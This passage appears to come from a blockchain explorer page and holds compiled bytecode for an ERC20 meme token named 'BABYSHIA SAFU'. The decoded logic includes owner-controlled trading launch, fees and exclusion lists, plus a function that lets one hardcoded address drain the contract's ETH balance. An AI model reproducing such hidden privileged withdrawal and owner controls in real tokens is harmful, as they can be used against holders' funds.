fffffffffffffff1681526020019081526020015f205f8282540392505081905550505b610b53848484611c2a565b90509392505050565b5f6012905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b3373ffffffffffffffffffffffffffffffffffffffff16610ba761101f565b73ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906130fd565b60405180910390fd5b60648183610c0b91906131eb565b14610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4290613268565b60405180910390fd5b8160075f01819055508060076001018190555080827f1e01a4924a1710040404be0f848c65e242cad98e407ad44f993abe891bd61c5360405160405180910390a35050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610d0161101f565b73ffffffffffffffffffffffffffffffffffffffff1614610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e906130fd565b60405180910390fd5b5f4711610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d90906132f6565b60405180910390fd5b610da16121c0565b565b3373ffffffffffffffffffffffffffffffffffffffff16610dc261101f565b73ffffffffffffffffffffffffffffffffffffffff1614610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f906130fd565b60405180910390fd5b6001600d54148015610e28575080155b610e30575f80fd5b8282600385859050610e429190613314565b818110610e5257610e51613347565b5b90506020020135600e819055508282600185859050610e719190613314565b818110610e8157610e80613347565b5b90506020020135600e5410610e9957610e98613374565b5b505050565b600c60019054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610f1661101f565b73ffffffffffffffffffffffffffffffffffffffff1614610f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f63906130fd565b60405180910390fd5b610f755f612326565b565b6005805f0154908060010154905082565b3373ffffffffffffffffffffffffffffffffffffffff16610fa761101f565b73ffffffffffffffffffffffffffffffffffffffff1614610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff4906130fd565b60405180910390fd5b600c5f9054906101000a900460ff1615611015575f80fd5b6001600d81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6007805f0154908060010154905082565b60606040518060400160405280600881526020017f4241425953484941000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff166110b361101f565b73ffffffffffffffffffffffffffffffffffffffff1614611109576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611100906130fd565b60405180910390fd5b60055f0154821115611150576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611147906133eb565b60405180910390fd5b600560010154811115611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f90613453565b60405180910390fd5b8160055f01819055508060056001018190555080827f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06860405160405180910390a35050565b5f6111e9338484611c2a565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661121061101f565b73ffffffffffffffffffffffffffffffffffffffff1614611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d906130fd565b60405180910390fd5b5f5b838390508110156114245781151560035f86868581811061128c5761128b613347565b5b90506020020160208101906112a19190612cd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611320906134e1565b60405180910390fd5b8160035f8686858181106113405761133f613347565b5b90506020020160208101906113559190612cd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508115158484838181106113ba576113b9613347565b5b90506020020160208101906113cf9190612cd1565b73ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a3808061141c906134ff565b915050611268565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1661144961101f565b73ffffffffffffffffffffffffffffffffffffffff161461149f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611496906130fd565b60405180910390fd5b600c5f9054906101000a900460ff161580156114bd57505f600d5414155b6114c5575f80fd5b600e54436114d391906131eb565b600d5f8282546114e391906131eb565b925050819055506001600c5f6101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b3373ffffffffffffffffffffffffffffffffffffffff1661155161101f565b73ffffffffffffffffffffffffffffffffffffffff16146115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e906130fd565b60405180910390fd5b801515600c60019054906101000a900460ff161515036115fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f3906135b6565b60405180910390fd5b80600c60016101000a81548160ff0219169083151502179055508015157fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c860405160405180910390a250565b6009805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806002015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905083565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661175d61101f565b73ffffffffffffffffffffffffffffffffffffffff16146117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117aa906130fd565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613644565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161185b9190612d8f565b602060405180830381865afa158015611876573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061189a9190613676565b90505f81116118de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d590613711565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161191992919061372f565b6020604051808303815f875af1158015611935573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611959919061376a565b505050565b670de0b6b3a7640000620493e06119759190613072565b81565b3373ffffffffffffffffffffffffffffffffffffffff1661199761101f565b73ffffffffffffffffffffffffffffffffffffffff16146119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e4906130fd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5290613805565b60405180910390fd5b611a6481612326565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611acc9061386d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a9061386d565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c1d9190612c44565b60405180910390a3505050565b5f8383600c5f9054906101000a900460ff1680611c95575060095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611ce6575060035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1c906138d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603611d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8a90613963565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df8906139f1565b60405180910390fd5b5f841480611e1b5750600c60029054906101000a900460ff165b15611e3257611e2b8686866123e7565b92506121b7565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611ed5575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611f30575060095f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611fa257670de0b6b3a7640000620493e0611f4c9190613072565b611f5586610eb1565b85611f6091906131eb565b1115611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9890613a7f565b60405180910390fd5b5b600c60019054906101000a900460ff168015611fcb5750600c60029054906101000a900460ff16155b801561202357507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015612076575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120c9575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156120d7576120d66121c0565b5b5f600c60029054906101000a900460ff1615905060035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612186575060035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561218f575f90505b80156121a8576121a087878761257a565b9350506121b7565b6121b38787876123e7565b9350505b50509392505050565b6001600c60026101000a81548160ff0219169083151502179055505f6121e530610eb1565b9050670de0b6b3a76400006127106121fd9190613072565b81108061220f575061220d6125c1565b155b1561221a575061230a565b6014670de0b6b3a76400006127106122329190613072565b61223c9190613072565b811115612268576014670de0b6b3a764000061271061225b9190613072565b6122659190613072565b90505b5f479050612275826125e9565b5f81476122829190613314565b90505f811115612306575f60646007600101546002846122a29190613072565b6122ac9190613072565b6122b69190613aca565b90505f606460075f01546002856122cd9190613072565b6122d79190613072565b6122e19190613aca565b9050612303600382846122f491906131eb565b6122fe9190613aca565b612805565b50505b5050505b5f600c60026101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561246c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246390613b44565b60405180910390fd5b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825403925050819055508260015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461250291906131eb565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125669190612c44565b60405180910390a360019150509392505050565b5f80612587858585612959565b90505f8111156125ac5761259c8530836123e7565b5080836125a99190613314565b92505b6125b78585856123e7565b9150509392505050565b5f600d54431180156125e45750600360045f4381526020019081526020015f2054105b905090565b60045f4381526020019081526020015f205f81548092919061260a906134ff565b91905055505f600267ffffffffffffffff81111561262b5761262a613b62565b5b6040519080825280602002602001820160405280156126595781602001602082028036833780820191505090505b50905030815f815181106126705761266f613347565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612707573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061272b9190613ba3565b8160018151811061273f5761273e613347565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127ce959493929190613cbe565b5f604051808303815f87803b1580156127e5575f80fd5b505af19250505080156127f6575060015b6128005750612802565b505b50565b5f60096001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166064600760010154846128549190613072565b61285e9190613aca565b60405161286a90613d43565b5f6040518083038185875af1925050503d805f81146128a4576040519150601f19603f3d011682016040523d82523d5f602084013e6128a9565b606091505b5050905060096002015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16606460075f0154846128fa9190613072565b6129049190613aca565b60405161291090613d43565b5f6040518083038185875af1925050503d805f811461294a576040519150601f19603f3d011682016040523d82523d5f602084013e61294f565b606091505b5050809150505050565b5f600d545f10801561296c575043600d54105b156129f35760647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146129d05760055f01546129d7565b6005600101545b836129e29190613072565b6129ec9190613aca565b9050612a7e565b60647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614612a60575f600d5414612a5857603c612a5b565b60195b612a63565b60325b60ff1683612a719190613072565b612a7b9190613aca565b90505b9392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612abc578082015181840152602081019050612aa1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612ae182612a85565b612aeb8185612a8f565b9350612afb818560208601612a9f565b612b0481612ac7565b840191505092915050565b5f6020820190508181035f830152612b278184612ad7565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612b6082612b37565b9050919050565b612b7081612b56565b8114612b7a575f80fd5b50565b5f81359050612b8b81612b67565b92915050565b5f819050919050565b612ba381612b91565b8114612bad575f80fd5b50565b5f81359050612bbe81612b9a565b92915050565b5f8060408385031215612bda57612bd9612b2f565b5b5f612be785828601612b7d565b9250506020612bf885828601612bb0565b9150509250929050565b5f8115159050919050565b612c1681612c02565b82525050565b5f602082019050612c2f5f830184612c0d565b92915050565b612c3e81612b91565b82525050565b5f602082019050612c575f830184612c35565b92915050565b5f819050919050565b5f612c80612c7b612c7684612b37565b612c5d565b612b37565b9050919050565b5f612c9182612c66565b9050919050565b5f612ca282612c87565b9050919050565b612cb281612c98565b82525050565b5f602082019050612ccb5f830184612ca9565b92915050565b5f60208284031215612ce657612ce5612b2f565b5b5f612cf384828501612b7d565b91505092915050565b5f805f60608486031215612d1357612d12612b2f565b5b5f612d2086828701612b7d565b9350506020612d3186828701612b7d565b9250506040612d4286828701612bb0565b9150509250925092565b5f60ff82169050919050565b612d6181612d4c565b82525050565b5f602082019050612d7a5f830184612d58565b92915050565b612d8981612b56565b82525050565b5f602082019050612da25f830184612d80565b92915050565b5f8060408385031215612dbe57612dbd612b2f565b5b5f612dcb85828601612bb0565b9250506020612ddc85828601612bb0565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612e0757612e06612de6565b5b8235905067ffffffffffffffff811115612e2457612e23612dea565b5b602083019150836020820283011115612e4057612e3f612dee565b5b9250929050565b612e5081612c02565b8114612e5a575f80fd5b50565b5f81359050612e6b81612e47565b92915050565b5f805f60408486031215612e8857612e87612b2f565b5b5f84013567ffffffffffffffff811115612ea557612ea4612b33565b5b612eb186828701612df2565b93509350506020612ec486828701612e5d565b9150509250925092565b5f604082019050612ee15f830185612c35565b612eee6020830184612c35565b9392505050565b5f8083601f840112612f0a57612f09612de6565b5b8235905067ffffffffffffffff811115612f2757612f26612dea565b5b602083019150836020820283011115612f4357612f42612dee565b5b9250929050565b5f805f60408486031215612f6157612f60612b2f565b5b5f84013567ffffffffffffffff811115612f7e57612f7d612b33565b5b612f8a86828701612ef5565b93509350506020612f9d86828701612e5d565b9150509250925092565b5f60208284031215612fbc57612fbb612b2f565b5b5f612fc984828501612e5d565b91505092915050565b5f606082019050612fe55f830186612d80565b612ff26020830185612d80565b612fff6040830184612d80565b949350505050565b5f806040838503121561301d5761301c612b2f565b5b5f61302a85828601612b7d565b925050602061303b85828601612b7d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61307c82612b91565b915061308783612b91565b925082820261309581612b91565b915082820484148315176130ac576130ab613045565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6130e7602083612a8f565b91506130f2826130b3565b602082019050919050565b5f6020820190508181035f830152613114816130db565b9050919050565b7f546f6b656e3a206e6f2065746820746f20636c656172000000000000000000005f82015250565b5f61314f601683612a8f565b915061315a8261311b565b602082019050919050565b5f6020820190508181035f83015261317c81613143565b9050919050565b7f45524332303a20696e73756666696369656e7420416c6c6f77616e63650000005f82015250565b5f6131b7601d83612a8f565b91506131c282613183565b602082019050919050565b5f6020820190508181035f8301526131e4816131ab565b9050919050565b5f6131f582612b91565b915061320083612b91565b925082820190508082111561321857613217613045565b5b92915050565b7f546f6b656e3a20726174696f206d7573742061646420746f20313030250000005f82015250565b5f613252601d83612a8f565b915061325d8261321e565b602082019050919050565b5f6020820190508181035f83015261327f81613246565b9050919050565b7f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c655f8201527f6172000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132e0602283612a8f565b91506132eb82613286565b604082019050919050565b5f6020820190508181035f83015261330d816132d4565b9050919050565b5f61331e82612b91565b915061332983612b91565b925082820390508181111561334157613340613045565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52600160045260245ffd5b7f546f6b656e3a206d7573742072656475636520627579206665650000000000005f82015250565b5f6133d5601a83612a8f565b91506133e0826133a1565b602082019050919050565b5f6020820190508181035f830152613402816133c9565b9050919050565b7f546f6b656e3a206d757374207265647563652073656c6c2066656500000000005f82015250565b5f61343d601b83612a8f565b915061344882613409565b602082019050919050565b5f6020820190508181035f83015261346a81613431565b9050919050565b7f546f6b656e3a206164647265737320616c7265616479207b73686f756c6445785f8201527f636c7564657d0000000000000000000000000000000000000000000000000000602082015250565b5f6134cb602683612a8f565b91506134d682613471565b604082019050919050565b5f6020820190508181035f8301526134f8816134bf565b9050919050565b5f61350982612b91565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361353b5761353a613045565b5b600182019050919050565b7f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f755f8201527f6c64456e61626c657d0000000000000000000000000000000000000000000000602082015250565b5f6135a0602983612a8f565b91506135ab82613546565b604082019050919050565b5f6020820190508181035f8301526135cd81613594565b9050919050565b7f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b655f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f61362e602183612a8f565b9150613639826135d4565b604082019050919050565b5f6020820190508181035f83015261365b81613622565b9050919050565b5f8151905061367081612b9a565b92915050565b5f6020828403121561368b5761368a612b2f565b5b5f61369884828501613662565b91505092915050565b7f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65615f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f6136fb602183612a8f565b9150613706826136a1565b604082019050919050565b5f6020820190508181035f830152613728816136ef565b9050919050565b5f6040820190506137425f830185612d80565b61374f6020830184612c35565b9392505050565b5f8151905061376481612e47565b92915050565b5f6020828403121561377f5761377e612b2f565b5b5f61378c84828501613756565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6137ef602683612a8f565b91506137fa82613795565b604082019050919050565b5f6020820190508181035f83015261381c816137e3565b9050919050565b7f45524332303a207a65726f2041646472657373000000000000000000000000005f82015250565b5f613857601383612a8f565b915061386282613823565b602082019050919050565b5f6020820190508181035f8301526138848161384b565b9050919050565b7f546f6b656e3a2054726164696e67206973206e6f74206163746976652e0000005f82015250565b5f6138bf601d83612a8f565b91506138ca8261388b565b602082019050919050565b5f6020820190508181035f8301526138ec816138b3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61394d602583612a8f565b9150613958826138f3565b604082019050919050565b5f6020820190508181035f83015261397a81613941565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6139db602383612a8f565b91506139e682613981565b604082019050919050565b5f6020820190508181035f830152613a08816139cf565b9050919050565b7f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564655f8201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b5f613a69602183612a8f565b9150613a7482613a0f565b604082019050919050565b5f6020820190508181035f830152613a9681613a5d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613ad482612b91565b9150613adf83612b91565b925082613aef57613aee613a9d565b5b828204905092915050565b7f546f6b656e3a20696e73756666696369656e742042616c616e636500000000005f82015250565b5f613b2e601b83612a8f565b9150613b3982613afa565b602082019050919050565b5f6020820190508181035f830152613b5b81613b22565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050613b9d81612b67565b92915050565b5f60208284031215613bb857613bb7612b2f565b5b5f613bc584828501613b8f565b91505092915050565b5f819050919050565b5f613bf1613bec613be784613bce565b612c5d565b612b91565b9050919050565b613c0181613bd7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613c3981612b56565b82525050565b5f613c4a8383613c30565b60208301905092915050565b5f602082019050919050565b5f613c6c82613c07565b613c768185613c11565b9350613c8183613c21565b805f5b83811015613cb1578151613c988882613c3f565b9750613ca383613c56565b925050600181019050613c84565b5085935050505092915050565b5f60a082019050613cd15f830188612c35565b613cde6020830187613bf8565b8181036040830152613cf08186613c62565b9050613cff6060830185612d80565b613d0c6080830184612c35565b9695505050505050565b5f81905092915050565b50565b5f613d2e5f83613d16565b9150613d3982613d20565b5f82019050919050565b5f613d4d82613d23565b915081905091905056fea264697066735822122066c7b8dc755533dc116929fe527ddcc72aa5e752e6e8be7aaf1fd424247fc75464736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101e6575f3560e01c8063715018a611610101578063c492f04611610094578063dd62ed3e11610063578063dd62ed3e14610677578063e303e662146106b3578063e80c7ded146106db578063f2fde38b14610705576101ed565b8063c492f046146105e5578063c9567bf91461060d578063d2a09c7114610623578063d2f4a50a1461064b576101ed565b80638ffee785116100d05780638ffee7851461052c57806395d89b4114610557578063a08fc5c714610581578063a9059cbb146105a9576101ed565b8063715018a6146104ab57806374378132146104c15780638129fc1c146104ec5780638da5cb5b14610502576101ed565b8063313ce567116101795780635b895c29116101485780635b895c291461040757806364e329e31461041d5780636ddd17131461044557806370a082311461046f576101ed565b8063313ce5671461034f57806349bd5a5e146103795780634fa2cf8a146103a35780634fbee193146103cb576101ed565b806318160ddd116101b557806318160ddd146102ab5780631a695230146102d55780631b9152bf146102fd57806323b872dd14610313576101ed565b806306fdde03146101f1578063095ea7b31461021b5780630e5a9231146102575780631694505e14610281576101ed565b366101ed57005b5f80fd5b3480156101fc575f80fd5b5061020561072d565b6040516102129190612b0f565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c9190612bc4565b61076a565b60405161024e9190612c1c565b60405180910390f35b348015610262575f80fd5b5061026b610780565b6040516102789190612c44565b60405180910390f35b34801561028c575f80fd5b50610295610799565b6040516102a29190612cb8565b60405180910390f35b3480156102b6575f80fd5b506102bf6107b1565b6040516102cc9190612c44565b60405180910390f35b3480156102e0575f80fd5b506102fb60048036038101906102f69190612cd1565b6107ce565b005b348015610308575f80fd5b50610311610865565b005b34801561031e575f80fd5b5061033960048036038101906103349190612cfc565b610962565b6040516103469190612c1c565b60405180910390f35b34801561035a575f80fd5b50610363610b5c565b6040516103709190612d67565b60405180910390f35b348015610384575f80fd5b5061038d610b64565b60405161039a9190612d8f565b60405180910390f35b3480156103ae575f80fd5b506103c960048036038101906103c49190612da8565b610b88565b005b3480156103d6575f80fd5b506103f160048036038101906103ec9190612cd1565b610c90565b6040516103fe9190612c1c565b60405180910390f35b348015610412575f80fd5b5061041b610ce2565b005b348015610428575f80fd5b50610443600480360381019061043e9190612e71565b610da3565b005b348015610450575f80fd5b50610459610e9e565b6040516104669190612c1c565b60405180910390f35b34801561047a575f80fd5b5061049560048036038101906104909190612cd1565b610eb1565b6040516104a29190612c44565b60405180910390f35b3480156104b6575f80fd5b506104bf610ef7565b005b3480156104cc575f80fd5b506104d5610f77565b6040516104e3929190612ece565b60405180910390f35b3480156104f7575f80fd5b50610500610f88565b005b34801561050d575f80fd5b5061051661101f565b6040516105239190612d8f565b60405180910390f35b348015610537575f80fd5b50610540611046565b60405161054e929190612ece565b60405180910390f35b348015610562575f80fd5b5061056b611057565b6040516105789190612b0f565b60405180910390f35b34801561058c575f80fd5b506105a760048036038101906105a29190612da8565b611094565b005b3480156105b4575f80fd5b506105cf60048036038101906105ca9190612bc4565b6111dd565b6040516105dc9190612c1c565b60405180910390f35b3480156105f0575f80fd5b5061060b60048036038101906106069190612f4a565b6111f1565b005b348015610618575f80fd5b5061062161142a565b005b34801561062e575f80fd5b5061064960048036038101906106449190612fa7565b611532565b005b348015610656575f80fd5b5061065f611648565b60405161066e93929190612fd2565b60405180910390f35b348015610682575f80fd5b5061069d60048036038101906106989190613007565b6116bc565b6040516106aa9190612c44565b60405180910390f35b3480156106be575f80fd5b506106d960048036038101906106d49190612cd1565b61173e565b005b3480156106e6575f80fd5b506106ef61195e565b6040516106fc9190612c44565b60405180910390f35b348015610710575f80fd5b5061072b60048036038101906107269190612cd1565b611978565b005b60606040518060400160405280600d81526020017f4241425953484941205341465500000000000000000000000000000000000000815250905090565b5f610776338484611a67565b6001905092915050565b670de0b6b3a76400006127106107969190613072565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f670de0b6b3a7640000629896806107c99190613072565b905090565b7354a0867f56513c09309bc2de58ef7143f848eba773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361085e578073ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610858573d5f803e3d5ffd5b50610862565b5f80fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff1661088461101f565b73ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d1906130fd565b60405180910390fd5b5f471161091c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091390613165565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561095f573d5f803e3d5ffd5b50565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414610b48575f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab8906131cd565b60405180910390fd5b8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282540392505081905550505b610b53848484611c2a565b90509392505050565b5f6012905090565b7f00000000000000000000000063954cd74707c93540bef6bc529fcb67378dceed81565b3373ffffffffffffffffffffffffffffffffffffffff16610ba761101f565b73ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906130fd565b60405180910390fd5b60648183610c0b91906131eb565b14610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4290